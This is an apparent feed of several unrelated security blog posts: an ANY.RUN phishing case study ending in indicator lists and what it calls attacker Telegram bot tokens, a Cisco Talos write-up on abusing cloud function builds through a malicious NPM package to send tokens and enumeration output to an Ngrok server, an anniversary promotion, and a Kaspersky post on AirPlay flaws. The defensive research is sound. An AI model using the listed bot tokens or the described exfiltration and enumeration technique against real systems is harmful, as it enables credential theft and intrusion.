This case study demonstrated the practical application of the Telegram bot interception technique previously described on the ANY.RUN blog, using it to expand the threat landscape around a lesser-known phishing campaign focused on harvesting Microsoft and PEC credentials. 

Insights gained from the analysis of intercepted data allowed us to broaden the visibility of the campaign, from a single isolated case to a long-running trend that, as evidence suggests, may still be active today. 

The findings also helped refine the attacker profile potentially responsible for this phishing operation. 

Finally, based on the collected technical evidence, we can define practical recommendations for detecting and hunting malicious activity linked to this newly profiled phishing campaign: 

  • Monitor behavioral patterns of suspicious pages, such as domain chains following the pattern: 

“Notion → Glitch → Telegram API” 

  • Implement signature-based detection rules that identify Telegram bot activity in corporate network traffic 
  • Monitor for activity matching the Tactics, Techniques, and Procedures (TTPs) associated with the threat actor described in this report 

TI Lookup Queries

urlscan.io Query

page.title:”One Note | Microsoft” OR page.title:”Aruba | PEC” 

Indicators of Compromise

  • studiosperandio.notion[.]site 
  • gleaming-foregoing-quicksand[.]glitch[.]me 
  • seabbz.notion[.]site 
  • ergonperizie.notion[.]site 
  • f004.backblazeb2[.]com 
  • charming-separated-rhubarb[.]glitch[.]me 
  • 25348255-1243060.renderforestsites[.]com 

Urlscan.io IOCs

  • inshared0-onenote-asx.pages[.]dev 
  • onedriv-shared0-apx.pages[.]dev 
  • onedriv1-switchview-asx.pages[.]dev 
  • view0-onenote-doc3hmlgroup.pages[.]dev 
  • doc91173-onenote-viewapx[.]vercel[.]app 
  • file01173-onenote-view.vercel[.]app 
  • hampshiredownsheepwales[.]com 
  • charming-separated-rhubarb[.]glitch[.]me 
  • lucky-leaf-dogwood.glitch[.]me 
  • kindly-tropical-icicle.glitch[.]me 
  • 1noteindex-view-apx.pages[.]dev 
  • butternut-acidic-bambiraptor.glitch[.]me 
  • onenote-shared-5a03.note46.workers[.]dev 
  • saber-mercurial-tang.glitch[.]me 
  • familiar-pewter-night.glitch[.]me 
  • regular-classic-spade.glitch[.]me 
  • trusting-impossible-koi.glitch[.]me 
  • harmless-utopian-sodalite.glitch[.]me 

Hashes of HTML phishing pages (SHA-256)

  • 2049afb27b7d71b311ef83205ec8c1397ed9b705b4f84517471cc41c8c1f29d1 
  • 8a1cecaf7c6df616fae15dca013cea78d209f0e813b9aa75964de1f813d614e0 
  • 7e5a3bb0cff67b2c1ff50544f956a903a6ff364c006033c0887d17019875040e 
  • B1145accfe9485052186f5db3507a3ebd8796b8246bee3990711dc2381c703b4 
  • 7bfccbc16df79c1b837b764bb19f15400b9be80f0d3d88130dbeba1e1965c5ae 
  • 2969a13ecc2540287fe0f2971bc523c5668781944e5daad34d23e1291a3e67f3 
  • A2346c9d602323359f99007eac73bc3bf4d62d0fed1af2e3e20e9a7d74cbf190 
  • Faefef284cd76c17ecb747ed2c5a443e0b0653af29de972b62cea14f7c54edd2 
  • F31113f3167e1d62f1908bf366892576cd521e0122a76d5f79eefaa9764e5d04 
  • a5ca3ceebe83e4049ed5affc3403ddc2030ba0fad80392895df2f50711ad54ce 

Telegram Exfil Bot Tokens | chatID pairs

  • 7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE | 6475928726 
  • 7072331661:AAEnFxNxOI162AVQUCmfDHMdy6s4fGrnTZY 
  • 6741707974:AAHGfsh1hk8WVtAfcISXgpZCTL-bpHNvQ_E | 6475928726 
  • 5305890750:AAHJnWdIMel23kaV_UWs9eha5IgXppE-b58 | 5308217415 
  • 6875925240:AAG5htB1kiH-G8fYV4kzBs-GWOE0Q784oxM | 6978226203 
  • 6913021003:AAFMWDSrZSLOxX34nOVRXmoOA8SUTMXiOgg | 5668726693 
  • 6848015467:AAHTt8TTTYFKRX6B5euTg47sZF8j6q01oxQ | 1270872185 
     

The post How Adversary Telegram Bots Help to Reveal Threats: Case Study  appeared first on ANY.RUN’s Cybersecurity Blog.

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Duping Cloud Functions: An emerging serverless attack vector

Summary and background

Duping Cloud Functions: An emerging serverless attack vector

Google Cloud Platform (GCP) Cloud Functions are event-triggered, serverless functions that automatically scale and execute code in response to specific events like Hypertext Transfer Protocol (HTTP) requests or data changes. Tenable Research published an article discussing a vulnerability they discovered within GCP’s Cloud Functions serverless compute service and its Cloud Build continuous integration and continuous delivery or deployment (CI/CD) pipeline service.

“When a GCP user creates or updates a Cloud Function, a multi-step backend process is triggered,” Tenable author Liv Matan writes. “This process, among other things, attaches a default Cloud Build service account to the Cloud Build instance that is created as part of the function’s deployment.” This default Cloud Build Service Account (SA) previously gave users excessive Cloud Function permissions. An attacker who has gained the ability to create or update a cloud function could utilize the function’s deployment process to escalate privileges to the default Cloud Build service account or assign a higher privileged SA. Google has since partially addressed Tenable’s discovery to ensure the default Cloud Build service account no longer provides users with excessive permissions.

Based on Tenable’s research, Cisco Talos conducted a series of offensive tests within Cisco’s Google Cloud Platform (GCP) to identify additional threats that may affect customer environments.

During its research, Talos discovered that the technique Tenable identified could be adapted to perform other malicious activities. By implementing different malicious console commands into the Node Package Manager (NPM) ‘package.json’ file used in this technique, threat actors could execute behaviors such as environment enumeration.

Talos furthered this research by attempting to replicate similar behaviors in Amazon Web Services (AWS) and Microsoft Azure to determine if these techniques could be employed to perform similar malicious activities in other cloud-based environments.

Research

Prerequisites

To utilize this attack vector, certain prerequisites must be met. Talos set up a Debian Linux server within the GCP environment with Node Package Manager (NPM) and Ngrok installed. However, the virtual machine for this research can be created in any cloud environment.

Duping Cloud Functions: An emerging serverless attack vector

After installing NPM and Ngrok, Talos configured both tools to function as intended.

Duping Cloud Functions: An emerging serverless attack vector

Once NPM and Ngrok were configured, a Python server was created to output the data received from the cloud function.

Duping Cloud Functions: An emerging serverless attack vector

With NPM, Ngrok, and the Python server set up and configured, the next step was to create and modify the NPM package.

Duping Cloud Functions: An emerging serverless attack vector

Talos then replaced the content of the package.json file with the following code:

Duping Cloud Functions: An emerging serverless attack vector

Finally, once all the necessary files are created and configured, Talos set up the environment to visually display the data output from deploying the functions. To achieve this, Talos activated both the Ngrok server and the Python server created earlier.

Duping Cloud Functions: An emerging serverless attack vector

To replicate the GCP behavior discussed in Tenable’s article, Talos created/updated an SA with function build and cloud build permissions. This SA was then assigned to the GCP Cloud Run Function to allow the code to be executed with privileged access.

Once the servers and service accounts were online and configured to receive and output data, the emulation of the behavior could begin.

Emulation

With the package.json file configured to be utilized by the build function, Talos began emulating the technique described in Tenable’s research article.

The first step in Talos’ replication involved the utilizing a misconfigured GCP function to extract the default Cloud Build service account token. To initiate this process, the “malicious” package.json was updated on the virtual machine, ensuring that it contains code similar to that used by Tenable.

Duping Cloud Functions: An emerging serverless attack vector

Once the package.json file was modified as desired, it needed to be published to the public NPM registry. To do this, Talos executed the following command:

Duping Cloud Functions: An emerging serverless attack vector

With the package.json file uploaded to the NPM public registry, it was time to deploy the GCP Cloud Run Function so that the package.json can execute the provided code. To do this, the user must to navigate to their GCP Cloud Run Functions page and select or create a Cloud Run Function, ensuring it is assigned a service account with Cloud Build permissions.

Duping Cloud Functions: An emerging serverless attack vector
Figure 1. Google Cloud Run Function displaying the assigned service account.

As Talos created or selected our existing GCP Cloud Run Function, we navigated to the source page of the cloud function. Here, Talos modified the package.json file to install the malicious package uploaded to NPM.

Duping Cloud Functions: An emerging serverless attack vector
Figure 2. Google Cloud Run Function’s Source page.

Once Talos updated the package.json file with the correct name and version of the NPM package, we selected “Deploy” or “Save and Redeploy” to initiate the build process. During this process, the function sends the requested data to the Ngrok server, which was then output on the Python server.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Talos confirmed that the exfiltration of GCP service account access tokens can no longer be achieved using this method, due to Google’s response and patching of the issue. We further verified this by executing the same command provided to our NPM-uploaded package.json from a separate virtual machine. The command executed successfully, confirming our suspicion that this specific technique for obtaining privileged service account tokens has been patched out.

Duping Cloud Functions: An emerging serverless attack vector

Original Research

Cisco Talos’ research extended Tenable’s original behavior concept by applying it to other cloud environments through modifications to their respective cloud services. AWS Lambda and Azure Functions are serverless compute services that allow users to run code without provisioning or managing servers. By creating a Lambda function or an Azure function with a Node.js 20.x runtime, a package.json file can be created with dependencies set to execute a malicious package uploaded to NPM’s public repository. These malicious packages may contain harmful console commands that provide a threat actor with valuable enumeration information.

Although this specific vector of threat actor behavior is no longer possible, other commands have proven useful in providing adversaries with valuable enumeration capabilities. These commands can be used on cloud platforms beyond GCP Cloud Build Function, such as AWS Lambda and Azure Functions.

Some examples of the types of enumeration a threat actor can perform using this method include the following.

ICMP Discovery

Internet Control Message Protocol (ICMP) Discovery is utilized to gather information about network devices and their configurations. By analyzing ICMP responses, adversaries can infer the network’s structure, including the presence of routers, gateways, and the pathways between devices. This information can be crucial for planning attacks.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Existence of .dockerenv

Identifying the presence of a .dockerenv file indicates that a process is running inside a Docker container. By checking for this file, threat actors can confirm whether they are operating within a Docker environment. This information can influence their selection of tools and techniques, as containers often possess different security boundaries compared to host systems.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

CPU Scheduling

Enumerating CPU Scheduling provides detailed scheduling and status information about the process with process identifier (PID) 1, which is typically the init system or main process in a containerized environment. Threat actors can determine the init system in use, such as systemd or sysvinit. This information helps them understand the system’s configuration and identify potential vulnerabilities associated with the specific init system.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

CPU Scheduling Data Output Plain Text

Control Group Container ID

Enumerating Control Group Container ID provides detailed information about current mount points. Threat actors can use this information to identify critical or sensitive filesystems that might be targeted for data exfiltration. By examining mount options, they can look for insecure configurations, such as filesystems mounted with exec permissions in directories where malicious binaries could be introduced. In containerized environments, understanding mount namespaces can aid in developing container escape techniques, enabling attackers to break out of the container and access the host system.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Control Group Container ID Plain Text 1 & Control Group Container ID Plain Text 2

Initial Server Overview

For Initial Server Overview enumeration, combining the following commands provides comprehensive details about the system’s kernel, architecture and distribution, which are critical for understanding the environment and planning potential exploits. Knowing the exact OS and kernel version enables threat actors to choose the most effective exploits, as many vulnerabilities are version-specific.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

User and Permission Enumeration

The following User and Permission commands provides insights into user accounts, privileges and group memberships, which are crucial for planning privilege escalation and lateral movement within a system.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Network Discovery

The following Network and Discovery commands help gather detailed insights into the system’s operating environment and network setup, which can be used to identify vulnerabilities and plan attacks.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Detailed System Commands

The ‘cat /etc/os-release’ command reveals the operating system distribution and version. Knowing the exact OS helps attackers identify specific vulnerabilities and tailor their exploits to the target’s environment.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

User Related Commands

The ‘/etc/shadow’ file contains hashed passwords for user accounts, which, if accessed, can be used to crack passwords and gain elevated access to the system.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

User Related Commands Data Output Plain Text

AWS Lambda Functions

The following example demonstrates Talos using the same commands previously mentioned within a Google Cloud Platform (GCP) environment, now applied in an Amazon Web Services (AWS) environment using Lambda functions. This illustrates that the method utilized by the Tenable lab can be adapted for other cloud-based environments, such as AWS.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Azure Functions

The following example demonstrates the same process performed with an AWS Lambda function, but instead utilizing Azure Functions within the Azure environment. This further proves that the method can be employed across various cloud-based environments.

Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector
Duping Cloud Functions: An emerging serverless attack vector

Conclusion and Defense Summary

Google’s Response

As described in Tenable’s article, Google responded to their research by creating a remediation patch. This update altered the default behavior of Cloud Build and the default Cloud Build SA. Additionally, new organization policies were released to give organizations full control over which SA Cloud Build uses by default. While Google has implemented this remediation, Cloud Build services can still be used to execute non-privileged commands as a means of enumerating an environment.

Mitigation Summary

The most effective mitigation strategy to protect your environment from similar threat actor behavior is to ensure that all SAs within your cloud environment adhere to the principle of least privilege and that no legacy cloud SAs are still in use. Ensure that all cloud services and dependencies are up to date with the latest security patches. If legacy SAs are present, replace them with least-privilege SAs. 

Additionally, users with access to Cloud Functions should not have IAM permissions to the services included in the function’s orchestration.

Threat Hunting Recommendations

  1. Audit and monitor SA permissions: Regularly audit and monitor SA permissions, with a particular focus on the default Cloud Build SA. Adhere to the principle of least privilege by removing any excessive permissions that are not essential for the SA’s operations.
  2. Alert setup for Cloud Functions: Establish alerts for any unusual or unauthorized creation or modification of Cloud Functions. Identify potentially malicious activities where an attacker may be attempting to exploit function deployments for privilege escalation.
  3. Inspect network traffic: Analyze network traffic for unusual patterns or connections that might indicate data exfiltration attempts. Pay attention to data being sent to unknown or unauthorized external endpoints, such as those using Ngrok or similar tunneling services.
  4. Verify NPM package integrity: Ensure the integrity and authenticity of NPM packages used within Cloud Functions. Prevent the execution of malicious scripts embedded in package.json files that could facilitate environment enumeration or other malicious activities.
  5. Detect environment enumeration: Detect and respond to signs of environment enumeration, such as ICMP discovery or system information gathering.

Cisco Talos Blog – ​Read More

We’re 9! Special Thanks (and Special Offers) Just for You

Time really flies. Nine years ago, we set out with a simple goal: to make malware analysis faster, easier, and more accessible for analysts and security teams everywhere. 

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The post We’re 9! Special Thanks (and Special Offers) Just for You appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

AirBorne: attacks on devices via Apple AirPlay | Kaspersky official blog

Researchers have discovered a series of major security flaws in Apple AirPlay. They’ve dubbed this family of vulnerabilities – and the potential exploits based on them – “AirBorne”. The bugs can be leveraged individually or in combinations to carry out wireless attacks on a wide range of AirPlay-enabled hardware.

We’re mainly talking about Apple devices here, but there are also a number of gadgets from other vendors that have this tech built in – from smart speakers to cars. Let’s dive into what makes these vulnerabilities dangerous, and how to protect your AirPlay-enabled devices from potential attacks.

What is Apple AirPlay?

First, a little background. AirPlay is an Apple-developed suite of protocols used for streaming audio and, increasingly, video between consumer devices. For example, you can use AirPlay to stream music from your smartphone to a smart speaker, or mirror your laptop screen on a TV.

All this happens wirelessly: streaming typically uses Wi-Fi, or, as a fallback, a wired local network. It’s worth noting that AirPlay can also operate without a centralized network – be it wired or wireless – by relying on Wi-Fi Direct, which establishes a direct connection between devices.

AirPlay Video and AirPlay Audio logos

AirPlay logos for video streaming (left) and audio streaming (right). These should look familiar if you own any devices made by the Cupertino company. Source

Initially, only certain specialized devices could act as AirPlay receivers. These were AirPort Express routers, which could stream music from iTunes through the built-in audio output. Later, Apple TV set-top boxes, HomePod smart speakers, and similar devices from third-party manufacturers joined the party.

However, in 2021, Apple decided to take things a step further – integrating an AirPlay receiver into macOS. This gave users the ability to mirror their iPhone or iPad screens on their Macs. iOS and iPadOS were next to get AirPlay receiver functionality – this time to display the image from Apple Vision Pro mixed-reality headsets.

AirPlay works with Wi-Fi Direct

AirPlay lets you stream content either over your regular network (wired or wireless), or by setting up a Wi-Fi Direct connection between devices. Source

CarPlay, too, deserves a mention, being essentially a version of AirPlay that’s been adapted for use in motor vehicles. As you might guess, the vehicle’s infotainment system is what receives the stream in the case of CarPlay.

So, over two decades, AirPlay has gone from a niche iTunes feature to one of Apple’s core technologies that underpins a whole bunch of features in the ecosystem. And, most importantly, AirPlay is currently supported by hundreds of millions, if not billions, of devices, and many of them can act as receivers.

What’s AirBorne, and why are these vulnerabilities a big deal?

AirBorne is a whole family of security flaws in the AirPlay protocol and the associated developer toolkit – the AirPlay SDK. Researchers have found a total of 23 vulnerabilities, which, after review, resulted in 17 CVE entries being registered. Here’s the list, just to give you a sense of the scale of the problem:

  1. CVE-2025-24126
  2. CVE-2025-24129
  3. CVE-2025-24131
  4. CVE-2025-24132
  5. CVE-2025-24137
  6. CVE-2025-24177
  7. CVE-2025-24179
  8. CVE-2025-24206
  9. CVE-2025-24251
  10. CVE-2025-24252
  11. CVE-2025-24270
  12. CVE-2025-24271
  13. CVE-2025-30422
  14. CVE-2025-30445
  15. CVE-2025-31197
  16. CVE-2025-31202
  17. CVE-2025-31203
AirBorne vulnerability family logo

You know how any serious vulnerability with a modicum of self-respect needs its own logo? Yeah, AirBorne’s got one too. Source

These vulnerabilities are quite diverse: from remote code execution (RCE) to authentication bypass. They can be exploited individually or chained together. So, by exploiting AirBorne, attackers can carry out the following types of attacks:

Example of an attack that exploits the AirBorne vulnerabilities

The most dangerous of the AirBorne security flaws is the combination of CVE-2025-24252 with CVE-2025-24206. In concert, these two can be used to successfully attack macOS devices and enable RCE without any user interaction.

To pull off the attack, the adversary needs to be on the same network as the victim, which is realistic if, for example, the victim is connected to public Wi-Fi. In addition, the AirPlay receiver has to be enabled in macOS settings, with Allow AirPlay for set to either Anyone on the Same Network or Everyone.

Successful zero-click attack on macOS via AirBorne

The researchers carried out a zero-click attack on macOS, which resulted in swapping out the pre-installed Apple Music app with a malicious payload. In this case, it was an image with the AirBorne logo. Source

What’s most troubling is that this attack can spawn a network worm. In other words, the attackers can execute malicious code on an infected system, which will then automatically spread to other vulnerable Macs on any network patient zero connects to. So, someone connecting to free Wi-Fi could inadvertently bring the infection into their work or home network.

The researchers also looked into and were able to execute other attacks that leveraged AirBorne. These include another attack on macOS allowing RCE, which requires a single user action but works even if Allow AirPlay for is set to the more restrictive Current User option.

The researchers also managed to attack a smart speaker through AirPlay, achieving RCE without any user interaction and regardless of any settings. This attack could also turn into a network worm, where the malicious code spreads from one device to another on its own.

Successful zero-click attack on a smart speaker via AirBorne

Hacking an AirPlay-enabled smart speaker by exploiting AirBorne vulnerabilities. Source

Finally, the researchers explored and tested out several attack scenarios on car infotainment units through CarPlay. Again, they were able to achieve arbitrary code execution without the car owner doing anything. This type of attack could be used to track someone’s movements or eavesdrop on conversations inside the car. Then again, you might remember that there are simpler ways to track and hack cars.

Successful zero-click attack on a vehicle via a CarPlay vulnerability

Hacking a CarPlay-enabled car infotainment system by exploiting AirBorne vulnerabilities. Source

Staying safe from AirBorne attacks

The most important thing you can do to protect yourself from AirBorne attacks is to update all your AirPlay-enabled devices. In particular, do this:

  • Update iOS to version 18.4 or later.
  • Update macOS to Sequoia 15.4, Sonoma 14.7.5, Ventura 13.7.5, or later.
  • Update iPadOS to version 17.7.6 (for older iPads), 18.4, or later.
  • Update tvOS to version 18.4 or later.
  • Update visionOS to version 2.4 or later.

As an extra precaution, or if you can’t update for some reason, it’s also a good idea to do the following:

  1. Disable the AirPlay receiver on your devices when you’re not using it. You can find the required setting by searching for “AirPlay”.
AirPlay settings in iOS to protect against AirBorne attacks

How to configure AirPlay in iOS to protect against attacks that exploit the AirBorne family of vulnerabilities

  1. Restrict who can stream to your Apple devices in the AirPlay settings on each of them. To do this, set Allow AirPlay for to Current User. This won’t rule out AirBorne attacks completely, but it’ll make them harder to pull off.
AirPlay settings in macOS to protect against AirBorne attacks

How to configure AirPlay in macOS to protect against attacks that exploit the AirBorne family of vulnerabilities

Install a reliable security solution on all your devices. Despite the popular myth, Apple devices aren’t cyber-bulletproof and need protection too.

What other vulnerabilities can Apple users run into? These are just a few examples:

Kaspersky official blog – ​Read More